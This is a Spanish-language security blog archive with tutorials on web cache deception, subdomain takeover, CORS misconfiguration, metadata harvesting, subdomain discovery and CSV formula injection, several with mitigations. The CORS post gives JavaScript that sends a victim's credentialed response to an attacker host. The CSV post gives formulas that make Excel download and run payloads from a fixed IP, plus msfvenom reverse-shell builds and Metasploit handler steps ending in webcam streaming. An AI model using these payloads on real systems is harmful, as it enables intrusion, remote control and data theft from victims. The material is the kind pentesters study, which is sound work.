lunes, 20 de agosto de 2018

Ataque engañar al cache web

Alguna vez paso por tu cabeza enlaces como https://www.paypal.com/myaccount/home/stylesheet.css o https://www.paypal.com/myaccount/settings/notifications/logo.png podria exponer su datos confidenciales, e incluso permitir que los atacantes tomen el control de su cuenta? El engaño de cache web es un nuevo vector de ataque que pone en riesgo diversas tecnologias y frameworks.

Algunas palabras sobre almacenamiento en cache y reacciones

1.- los sitios web a menudo tienden a utilizar la funcionalidad de cache web (por ejemplo, a través de un CDN, un load balancer o simplemente un proxy inverso). El propósito es simple: almacenar archivos que a menudo se recuperan, para reducir la latencia del servidor web. Veamos un ejemplo de cache web. 

El sitio http://ejemplo.com esta configurado para pasar por un proxy inverso. Una pagina dinámica que se almacena en el servidor y devuelve contenido personal de los usuarios, como http://ejemplo.com/incio.php, tendrá que crearla dinamicamente por usuario, ya que los datos son diferentes para cada usuario. Este tipo de datos, o al menos sus partes personalizadas, no se almacenan en cache.

Lo que es mas razonable y común de la memoria cache son los archivos públicos estáticos: hojas de estilos (css), scripts (js), archivos de texto (txt)imágenes (png, bmp, gif),etc. Esto tiene sentido por que estos archivos generalmente no contienen información sensible.

Ademas, como se puede encontrar en varios artículos de mejores practicas sobre la configuración de cache web, se recomienda almacenar en cache todos los archivos estáticos que se pretende que sean públicos y descartar sus encabezados de cache HTTP.

2.- ¿Que sucede al acceder a una URL como http://ejemplo.com/inicio.php/inexistente.css? el navegador generara una solicitud GET a esa URL. Lo interesante es la reacción del servidor ¿como interpreta la URL de solicitud? Dependiendo de la tecnología y configuración (La estructura de la URL puede necesitar ser construida ligeramente diferente para versiones diferentes de servidores), el servidor devuelve el contenido de http://ejemplo.com/inicio.php. Y si, la URL sigue siendo http://ejemplo.com/inicio.php/inexistente.css. Los encabezados HTTP serán los mismos que para acceder a http://ejemplo.com/inicio.php directamente: los mismos encabezados de almacenamiento en cache y el mismo tipo de contenido (text/html, en este caso).

Ahora vamos con la introducción

¿que sucede si accedemos a http://ejemplo.com/inicio.php/inexistente.css, mientras que la memoria cache web para archivos estáticos se configura en el servidor proxy, sin tener en cuenta los encabezados de almacenamiento en cache para este tipo de archivos? analicemos este proceso:

1.- El navegador solicita http://ejemplo.com/inicio.php/inexistente.css.
2.- El servidor devuelve el contenido de http://ejemplo.com/inicio.php , muy probablemente con los encabezados de almacenamiento en caché HTTP que indican que no se debe almacenar en caché esta página.
3.- La respuesta pasa por el proxy.
4.- El proxy identifica que el archivo tiene una extensión css.

5.- Debajo del directorio de caché, el proxy crea un directorio llamado inicio.php y almacena en caché el archivo impostor "CSS" (inexistente.css) dentro.

OH




Aprovechándolo

Un atacante que atrae a un usuario que haya iniciado sesión para acceder a http://www.example.com/home.php/logo.png hará que esta página, que contiene el contenido personal del usuario, se almacene en la memoria caché y, por lo tanto, sea accesible públicamente. Podría empeorar si el cuerpo de la respuesta contiene (por alguna razón) el identificador de sesión, las respuestas de seguridad o los tokens CSRF. Todo lo que el atacante tiene que hacer ahora es acceder a esta página por su cuenta y exponer estos datos.





Nota: Por lo general, los sitios web no requieren autenticación para acceder a sus archivos públicos estáticos. Por lo tanto, los archivos almacenados en caché son de acceso público, no se requiere autenticación.


Condiciones

Entonces, básicamente, se requieren dos condiciones para que exista esta vulnerabilidad:
1.- La funcionalidad de caché web está configurada para que la aplicación web guarde en caché los archivos por sus extensiones, sin tener en cuenta ningún encabezado de caché.

2.- Al acceder a una página como http://www.ejemplo.com/inicio.php/inexistente.css , el servidor web devolverá el contenido de "inicio.php" para esa URL.

Mitigacion

1.- Configure el mecanismo de caché para almacenar en caché los archivos solo si sus encabezados de caché de HTTP lo permiten. Eso resolverá la causa raíz de este problema.
2.- Si el componente de caché proporciona la opción, configúrelo para almacenar en caché los archivos por su tipo de contenido.

3.- Configure el servidor web para que, en páginas como http://www.ejemplo.com/inicio.php/inexistente.css , el servidor web no devuelva el contenido de "inicio.php" con esta URL. En cambio, por ejemplo, el servidor debe responder con una respuesta 404 o 302.

prueba de concepto


Secuestro de usuario a través del engaño de caché web

Encontré esta vulnerabilidad en aplicaciones adicionales, que desafortunadamente no se pueden divulgar al público por diferentes razones (fastidio, tenía algunos buenos videos para eso). En estas aplicaciones, era posible tomar el control completo sobre los usuarios de la aplicación. Esto fue posible porque la ID de la sesión o las respuestas de seguridad para recuperar la contraseña de un usuario se incluyeron en el código HTML de las páginas vulnerables. 

Herramientas:

https://github.com/PortSwigger/web-cache-deception-scanner



Aprendiendo sobre encabezados cache

Cache

Una cache es un componente de hardware o software que almacena datos para que las solicitudes futuras de esos datos se puedan atender con mayor rapidez, los datos almacenados en un cache pueden ser el resultado de un calculo anterior o el duplicado de datos almacenados en otro lugar, generalmente, de velocidad de acceso mas rápido.

CDN

Una cdn (content delivery network) es un conjunto de ubicaciones en el mundo, que redistribuyen localmente el contenido de los servidores y guardan en cache los archivos que no necesitan actualización permanente, según las reglas personalizables.

Encabezados de cache

Cache-control: Cada recurso puede definir su propia política de almacenamiento en cache mediante el encabezado cache-control. Las directivas cache-control controla quien guarda la respuesta en cache, en que condiciones y durante cuanto tiempo.





Las solicitudes que no necesitan comunicación con el servidor se consideran las mejores: las copias locales de las respuestas permiten la eliminación de latencia de red, así como los cargos de datos resultantes de las transferencias de datos. La especificación HTTP permite al servidor enviar varias directivas diferentes de control de cache que controlan como y durante cuanto tiempo los navegadores guardan en cache las respuestas individuales, entre otros cache intermedios, como un CDN.

Public vs Private

una respuesta marcada como "public" se puede almacenar en cache incluso en los casos en que esta asociada a una autenticacion HTTP o el código de estado de la respuesta HTTP no se puede almacenar en el cache normalmente. En la mayoría de los casos, una respuesta marcada como "public" no es necesaria, ya que la información de almacenamiento en cache explicita (por ejemplo: "max-age") muestra que una respuesta es almacenable de todos modos.

Por el contrario, una respuesta marcada como "privada" puede almacenarse en cache (por el navegador), pero dichas respuestas suelen estar destinadas a usuarios únicos, por lo tanto, no son almacenables, en cache intermedios (por ejemplo las paginas HTML con información de usuario privada pueden almacenarse en cache del navegador pero no en CDN).

no-cache y no-store



"no-cache" muestra que las respuestas devueltas no se pueden usar para solicitudes posteriores a la misma URL antes de verificar si las respuestas del servidor han cambiado. Si un Etag apropiado (token de validación) esta presente como resultado, no-cache incurre en una ida y vuelta en un esfuerzo por validar las respuestas cache. Sin embargo, los caches pueden eliminar peticiones si los recursos no han cambiado.En otras palabras, los navegadores web pueden almacenar en cache los recursos, pero deben verificar cada solicitud si los recursos han cambiado (respuesta 304 si nada ha cambiado).

Por el contrario, "no-store" es mas simple. Este es el caso por que no permite que los navegadores intermedios y todas las caches intermedias, almacenen ninguna versión de respuesta devuelta, es decir, respuestas que contienen información privada/ personal o datos bancarios. Cada vez que los usuarios soliciten este activo, las solicitudes se envían al servidor. Los recursos se descargan todo el tiempo.

max-age

La directiva max-age establece la cantidad máxima de tiempo en segundos que las respuestas recuperadas pueden volver a utilizarse (desde el momento en que se realiza la solicitud). Por ejemplo, "max-age : 90" indica que un recurso puede reutilizarse (permanece en el cache del navegador)durante los siguientes 90 segundos.

s-maxage

La "s" significa como en "cache compartido". Esta directiva es explicitamente para los CDNs entre otras cache intermedias. Esta directiva prevalece sobre la directiva max-age y expira el encabezado cuando esta presente. 

must-revalidate

la directiva must-revalidate se usa para indicar a un cache que primero debe revalidar un recurso con el origen después de que se vuelva obsoleto. El recurso no se debe entregar al cliente sin realizar una revalidacion de extremo a extremo. En resumen, los recursos obsoletos deben verificarse primero y los recursos caducados no deben utilizarse.

proxy-revalidate

Es la misma que la directiva must-revalidate, sin embargo, solo se aplica a los caches compartidos, como los proxies. Es útil en caso de que un proxy preste servicios a muchos usuarios que necesitan ser autenticados uno a uno. Una respuesta a una solicitud autenticada se puede almacenar en la memoria cache del usuario sin necesidad de volver a validarla cada vez que se conocen y ya se han autenticado. Sin embargo proxy-revalidate permite que los proxies se revaliden para usuarios nuevos que aun no se han autenticado.

no-transform

La directiva no-transform le dice a cualquier intermediario como un proxy o servidor de cache que no haga ninguna modificación al recurso original. Los encabezados Content-Encoding, Content-Range y Content-Type no deben modificarse. Esto puede ocurrir si un proxy no transparente decide realizar modificaciones en los recursos para ahorrar espacio. Sin embargo, esto puede causar serios problemas en el caso de que el recurso deba permanecer idéntico al cuerpo-entidad original aunque también debe pasarse a través del proxy.

Según Google, el encabezado cache-control es todo lo que se necesita en términos de especificar políticas de almacenamiento cache. Hay otros métodos que veremos sin embargo no son necesarios para un rendimiento optimo.

El encabezado Cache-control se define como parte de las especificaciones HTTP /1.1 y reemplaza los encabezados anteriores (es decir, caduca) utilizados para especificar las politicas de cache de respuesta. Cache-control es compatible con todos los navegadores modernos, asi que eso es todo lo que necesitamos.

Pragma

El viejo encabezado "pragma" logra muchas cosas, la mayoría de ellas caracterizadas por las implementaciones mas nuevas. Sin embargo, estamos mas preocupados con la directiva pragma:no-cache que se interpreta mediante implementaciones mas nuevas como cache-control:no-cache

Expires

Hace un par de años, esta era la principal forma de especificar cuando vencían los recursos. Expires es simple y básico fecha y hora. Es bastante útil para agentes de usuarios antiguos que aun recorren territorios desconocidos. Sin embargo, es importante tener en cuenta que los encabezados de control de cache, max-age y s-maxage siguen teniendo prioridad en la mayoría de los sistemas modernos. Sin embargo, es una buena practica establecer valores de coincidencia aquí por razones de compatibilidad. También es importante de asegurarse de formatear la fecha correctamente o se puede considerar que ha expirado.

Validadores

Etag

Este tipo de token de validación (el estándar en HTTP /1.1):

* se comunica a través del encabezado Etag HTTP (por el servidor)
* permite actualizaciones de recursos eficientes, es decir, no se realiza transferencia de datos si el recurso no cambia.

El siguiente ejemplo ilustrara esto:

90 segundos después de la recuperación inicial de un recurso, inicia el navegador una nueva solicitud (el mismo recurso exacto). El navegador busca la memoria cache local y encuentra la respuesta previamente en cache pero no puede usarla por que ha caducado. Este es el punto donde el navegador solicita contenido completo del servidor. El problema con esto es que si el recurso no ha cambiado, no hay absolutamente ninguna razón para descargar el mismo activo que ya esta en el cache CDN.

Los tokens de validación solucionan este problema. El servidor perimetral crea y devuelve tokens arbitrarios, que se almacenan en el campo de encabezado Etag, que generalmente son un hash u otras huellas dactilares del contenido de los archivos existentes. Los clientes no necesitan saber como se generan los tokens, pero deben enviarlos al servidor en las solicitudes posteriores. Si los tokens son iguales, los recursos no han cambiado, por lo que se puede omitir la nueva solicitud.

El navegador web proporciona el token Etag automáticamente dentro del encabezado de solicitud HTTP "If-None-Match". El servidor luego verifica los tokens contra los recursos actuales en el cache. Una respuesta 304 Not Modified le dirá al navegador si un recurso en la memoria cache no ha sido modificado y, por lo tanto, permite una renovación por otros 90 segundos. Es importante tener en cuenta que estos recursos no necesitan ser pedidos nuevamente lo que ahorra ancho de banda y tiempo.


jueves, 16 de agosto de 2018

Adquisición de subdominios conceptos básicos

Introducción

¿sabias que es posible que algunos subdominios sean adquiridos por otras personas? esto se debe al hecho que para algunos de sus registros DNS (principalmente CNAME) habilito la delegacion de zona.

Una adquisición de subdominio se considera una amenaza de gravedad alta y se reduce al registro de un dominio por otra persona (con malas intenciones) con el fin de obtener el control sobre un o mas subdominios. Esto presenta un vector de ataque interesante, que incluso puede conducir a varios riesgos de alta gravedad.

Escenario

Imagine que trabaja para una empresa global que tiene como dominio principal ficticio.com. Ahora debido a que estamos en el siglo 21 es muy común tener tiendas de comercio electrónico en linea, ademas de tu comercio en tu tienda local. Hay muchos proveedores de comercios electrónicos en la nube muy populares como son: Shopify, Magento, etc, por lo que puedes configurar tu tienda en una de estas opciones disponibles.

Después de haber realizado lo que es la instalación, configuración, el proveedor de la tienda en linea te configura un subdominio de la siguiente manera ficticio.shopify.com para tu tienda. Esto no parece muy atractivo ni profesional para compartir con tus clientes, por lo que usted desea que este su marca ejemplo: shop.ficticio.com

Para lograr esto usted tendra dos opciones de configuracion:

1.- un HTTP de redireccion 301/302 se encargara de redirigir a los visitantes a shop.ficticio.com, aunque este enfoque es menos atractivo.

2.- configuracion de un registro DNS CNAME que delegara la resolucion DNS directamente al proveedor de comercio electronico (shopify en este caso), pero no todos los proveedores de la nube admiten la delegacion de DNS usando CNAME.

como el enfoque CNAME es mas robusto elegiremos esta opción.

un año mas tarde, las actividades del comercio electrónico de su empresa son un desastre total. Por varias razones, los objetivos de ingresos no fueron alcanzados. La administración operativa le indica que desconecte la tienda de comercio electrónico hasta que se redefina la estrategia. Para ahorrar dinero se cancela la suscripción de comercio electrónico de terceros (shopify). Ahora, es el momento en el que se presenta el riesgo de una posible adquisición de subdominio: ya que puede olvidarsele fácilmente actualizar o eliminar el registro CNAME en su archivo de zona DNS.

En pocas palabras, cuando no elimina el registro CNAME de su zona de archivo DNS, cualquiera pudiera registrar una nueva tienda de comercio electronico en el mismo entorno (shopify) y por lo tanto adquirir ficticio.shopify.com el cual todavia se encuentra en el DNS del servidor ficticio.com.

Este escenario puede parecer nuevo o desconocido para alguno de ustedes, pero de hecho, una adquisicion de dominio es una amenaza emergente.

La adquisición de dominio puede encontrarse en diferentes servidores importantes como son bancos, instituciones gubernamentales y muchos otros. 

Proveedores en la nube

Por supuesto, esta vulnerabilidad no se limita solo a plataformas de comercio electrónico como shopify o magento, sino a una gran industria de proveedores en la nube. Muchos registros CNAME apuntan a grandes proveedores en la nube como son Amazon AWS o Microsoft Azure. En estos ejemplos, y cuando se alcanzan ciertas condiciones, se puede lograr una adquisición de subdominio con bastante facilidad.

El riesgo

Por lo general, las organizaciones no auditan la configuración DNS regularmente. Muchas veces, no hay un proceso estandarizado para agregar, cambiar o eliminar entradas de su archivo de zona DNS. 

Las consecuencias de una adquisición de dominios puede ser bastante malas. Es una forma perfecta para que los atacantes inicien alguna campaña de phishing aprovechando su reputación de marca ya establecida. 
Los atacantes tambien pueden desencadenar ataques con mayor impacto, muchas aplicaciones exponen las cookies de sesión a un dominio (*.ficticio.com), por lo que cualquier subdominio puede acceder a ellas.

Prevención

La prevención de la adquisición de subdominio inicia con el monitoreo y análisis adecuados de los registros DNS. Un paso importante es encontrar subdominios y verificar que el CNAME ya no exista en nuestro servidor.

Herramientas disponibles

https://www.namecheap.com/
https://github.com/antichown/subdomain-takeover

martes, 7 de agosto de 2018

CORS mal configurado? (Intercambio de recursos de origen cruzado)

Definición

CORS o intercambio de recursos de origen cruzado, es un mecanismo que permite que recursos restringidos (como por ejemplo, las tipografías) de una pagina web puedan ser solicitados desde un dominio diferente por fuera desde el cual el primer recurso fue expuesto.




Acerca de la vulnerabilidad y como funciona CORS

Los sitios web normalmente habilitan CORS en el mismo origen de la web: 

Access-Control-Allow-Origin: https://ejemplo.com

Esto significa que las peticiones que hagan ellos desde otro lugar no se ejecutan ya que estas solo se permiten en el origen del encabezado.


En esta imagen podemos ver un ejemplo de como si hacemos una petición que no venga del origen (o que no quiera compartir con ese origen)que le indicamos la respuesta es bloqueada. Pero en dado caso que si queramos compartir con ese origen la respuesta se realiza:




El servidor también puede habilitar lo que son las credenciales utilizando el siguiente encabezado:

Access-Control-Allow-Credentials: true


Ahora, cuando confiamos en 1 solo origen es muy fácil, pero que pasa si deseamos confiar en mas origenes, esto se da mucho en las APIs hoy en dia, en las cabeceras se puede agregar uno o mas origenes utilizando un espacio:

Access-Control-Allow-Origin: http://ejemplo1.com http://ejemplo1.net


También se puede hacer uso del comodín * para especificar todos los subdominios, esto no indica que nosotros no podamos crear un subdominio loquesea.ejemplo.com mientras que este ataque podría permitir ver sus recursos compartidos, o simplemente si el dominio tiene en su lista blanca podemos ponernos a pensar formas de evasión ;).

Access-Control-Allow-Origin: *.ejemplo.com

Esto peligra cuando usamos * en CORS ya que esta es una mala implementacion la cual deshabilita simplemente el uso de las credenciales aunque estas estén en Verdadero, esto lo podemos ver como lo explica la pagina de Mozilla.

Entonces explicando esto, si usted ve un servidor o pagina web que emite la cabecera CORS con * el comodin deja lugar a que un atacante pueda especificar en la cabecera el Origen que el desee tal como:

curl https://victima.com -H "Origin: https://atacante.com" -I





Como resultado podemos ver recursos de otros sitios que no deberíamos poder ver.


Atacar CORS? Poc?


Entonces, esto de que me sirve? bueno pues gracias a que podemos hacer peticiones donde no deberíamos podemos simplemente hacer un Logger de peticiones que siempre este a la escucha, o simplemente hacer una petición para ver si funciona.

Primero, hacemos una petición y vemos si acepta nuestro origen.



Y después vemos la respuesta que nos da la cual permite nuestro dominio.



Digamos que esa peticion, es una donde se muestran los datos del usuario asi como sus credenciales.

Podemos hacer un poc y ver como funciona:


function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("demo").innerHTML = alert(this.responseText); } }; xhttp.open("GET", "https://target.com/user/", true); xhttp.withCredentials = true; xhttp.send(); }


Esto nos puede dar como resultado, los datos desde cualquier origen.




Siendo asi podemos crear un logger que nos vaya guardando todos los datos.

var req = new XMLHttpRequest(); 
req.onload = reqListener; 
req.open('get','https://vulnerablecors.com',true); 
req.withCredentials = true;
req.send();

function reqListener() {

    location='http://atacante.com/gracias.php?c='+this.responseText; 

};


Esto es como cuando robas cookies.

El origen Nulo

https://www.w3.org/TR/cors/#access-control-allow-origin-response-header

La especificacion menciona que esta siendo activada por redirecciones, y algunas publicaciones de stackoverflow mustran que los archivos locales HTML tambien la obtienen. Esto hace que muchos sitios web lo tengan en su lista blanca:

Origin: null

Entonces esto realmente es explotable?


Gracias Shodan.io
https://www.shodan.io/search?query=%22Access-Control-Allow-Origin%3A+null%22+


Conclusión

En conclusion configurar correctamente tus cabeceras tal como CORS puede evitarte que tengas fugas de informacion de tu pagina web y otras personas puedan acceder a tus recursos.



Referencias:

https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties

http://ejj.io/misconfigured-cors/

https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/

https://www.cynet.com/blog-facebook-originull/

https://bugbountypoc.com/exploiting-cross-origin-resource-sharing/


  

domingo, 29 de julio de 2018

Extrayendo metadatos

¿Que son los meta datos en un documento?

Cada vez que tu creas un documento sea pdf, word, excel, powerpoint o cualquier software de ofimática. Este mismo cuando tu guardas el documento inserta automáticamente información sobre el mismo, tal como: el autor, fecha de creación, fecha de modificación, software editor, nombre de la compañía,etc.


¿Como encontramos documentos públicos expuestos en algún sitio web de interés?

Una de las maneras de encontrar es usando Google Hacking, aunque Google no es el único que indexa también podemos usar Bing, Yahoo!, o simplemente cambiar de dominio a subdominio. Les dejo algunos tutoriales que había creado anteriormente que le pueden servir en este paso:

1.- http://arthusu.blogspot.com/2015/05/google-hacking.html
2.- http://arthusu.blogspot.com/2018/07/encontrando-subdominios-diferentes.html


¿Para que pueden ser utilizados los meta datos y por que son tan importantes?

La información que incluyen los meta datos son muy importantes en la fase de recolección de un Pentester. Algunos ejemplos podrían ser:

1.- el nombre de los autores se puede usar para  investigar a un usuario de la compañía con lo cual podemos realizarle ataques de phishing.
2.- el nombre de los autores se puede usar para realizar ataques por fuerza bruta a servicios (webmail, vpn, blog, ssh, ftp, rdp, etc)
3.- el software utilizado nos sirve para saber que tecnologias usan la compañias de esta manera nos podemos adaptar realizando un ataque, un ejemplo podría ser un excel malicioso (http://arthusu.blogspot.com/2018/07/inyeccion-de-formulas-de-excelcsv-en.html)
4.- la fecha de creación y de modificación nos puede indicar que el autor o usuario todavía trabaja en esa compañía.
5.- Hay otros meta datos que nos podrían ser de interés.

Extrayendo meta datos con Foca

1.- Descargamos Foca desde Eleven Paths
2.- Hacemos una busqueda en Google de documentos y descargamos un documento de ejemplo

3.- Abrimos el documento con FOCA, añadimos el archivo o carpeta, le damos en Extract all metadata (extraer todos los meta datos), y luego en analyze meta data (analizar los meta datos) y he aquí la información.





 


Otras herramientas:

ExifTool: https://www.sno.phy.queensu.ca/~phil/exiftool/
Metadata Viewer: https://www.get-metadata.com/


viernes, 27 de julio de 2018

Encontrando Subdominios diferentes metodos

Introducción


Una de las fases mas importantes en el pentest, es la fase de reconocimiento, ya que es donde juntas toda la información, para después atacar una aplicación web, un servidor, etc.

Aveces pasa que después de buscar vulnerabilidades en una aplicación no encuentras nada de nada, entonces es cuando puede entrar la búsqueda de subdominios, cuando no hay una aplicación vulnerable puede haber otra dentro del mismo servidor, les comento no es la única forma de entrar, pero de esto se trata este tutorial.

Métodos:


2.- Una herramienta muy util es DNSDumpster de HackerTarget (https://dnsdumpster.com/)



5.- Usar Google o Bing o Yahoo Search Dorks: (site:*.underc0de.org -www y le vas agregando el menos para quitar mas subdominios, site:*.underc0de.org -www -servicios -blog)


7.- Fuerza bruta en subdominios: (https://github.com/aboul3la/Sublist3r)


Comentarios Finales

No quise ser muy descriptivo ya que doy por hecho que todos los que leemos este blog sabemos usar tools, y pues la mayoría trata de ello, les puede ser muy útil esta tutorial al recolectar información de un servidor al cual quieren analizar.

miércoles, 4 de julio de 2018

Inyeccion de Formulas de Excel/CSV en aplicaciones web

Existen muchas aplicaciones que exportan archivos CSV los cuales son generados por que recogen desde la base de datos la informacion.
En estos archivos podemos inyectar formulas con las cuales explotamos el sistema operativo ejecutando codigo arbitrario.








Comandos

Ejecutar un proceso en el sistema operativo:
=cmd|' /C calc'!'A1'
=cmd|' /C calc'!notthissheet
=cmd|' /C calc'!xxx
=cmd|'/Ccalc.exe'!z

Ejecutar una shell con metasploit
=cmd|' /C powershell Invoke-WebRequest "http://222.222.166.136/first.exe" -OutFile "$env:Temp\first.exe"; Start-Process "$env:Temp\first.exe"'!A1

=cmd|' /C powershell Invoke-WebRequest "http://222.222.166.136/Meterpreter.exe" -OutFile "$env:Temp\Meterpreter.exe"; Start-Process "$env:Temp\Meterpreter.exe"'!A1

Shell
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=222.222.166.136 LPORT=666 -b "\x00" -e x86/shikata_ga_nai -f exe -o C:/first.exe

Meterpreter

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp  LHOST=222.222.166.136 LPORT=666 -b "\x00" -f exe -o C:/Meterpreter.exe

Poner metasploit a la escucha:

Shell
# msfconsole
> use exploit/multi/handler
> set payload windows/shell/reverse_tcp
> set LHOST 222.222.166.136
> set LPORT 666
> show options
> run

Meterpreter
# msfconsole
>use exploit/multi/handler
>set PAYLOAD windows/meterpreter/reverse_tcp
>set LHOST 222.222.166.136
>set LPORT 666
>set ExitOnSession false
>exploit -j -z
>help
>webcam_stream

Aplicaciones en:
Encuestas, Reportes generados por maestros, una tienda, hasta un banco que genera reportes, etc.


Mitigacion

Agregar un ' o espacio o cualquier letra antes de la formula =FORMULA comience.
Puedes verificar que las celdas no tengan estos caracteres.
* Igual a ("=")
* Suma ("+")
* Menos ("-")
* Arroba ("@")


En las últimas versiones de OpenOffice Calc y LibreOffice Calc, la funcionalidad de ejecución de comandos de la fórmula DDE se revocó después del descubrimiento inicial de una vulnerabilidad de inyección de comandos (CVE-2014-3524).

Office si acepta solo que muestra mensajes de seguridad que vieniendo la pagina que ellos entraron no tienen por que desconfiar.

https://scarybeastsecurity.blogspot.com/2010_06_01_archive.html <- estudio que muestra que 50% de los usuarios dan clic en enlaces y siguen confiando en ellos (Open Redirect Vulnerability)


Codigo Fuente para prueba de Concepto: